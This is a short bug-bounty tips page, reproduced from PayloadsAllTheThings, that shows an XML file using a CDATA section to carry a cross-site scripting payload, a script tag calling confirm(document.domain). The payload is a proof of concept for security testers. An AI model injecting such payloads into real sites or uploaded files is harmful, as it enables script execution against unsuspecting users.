XSS Injection: XSS in Files

Cross-site scripting (XSS)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

NOTE: The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

xml
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>

Comments

No comments yet.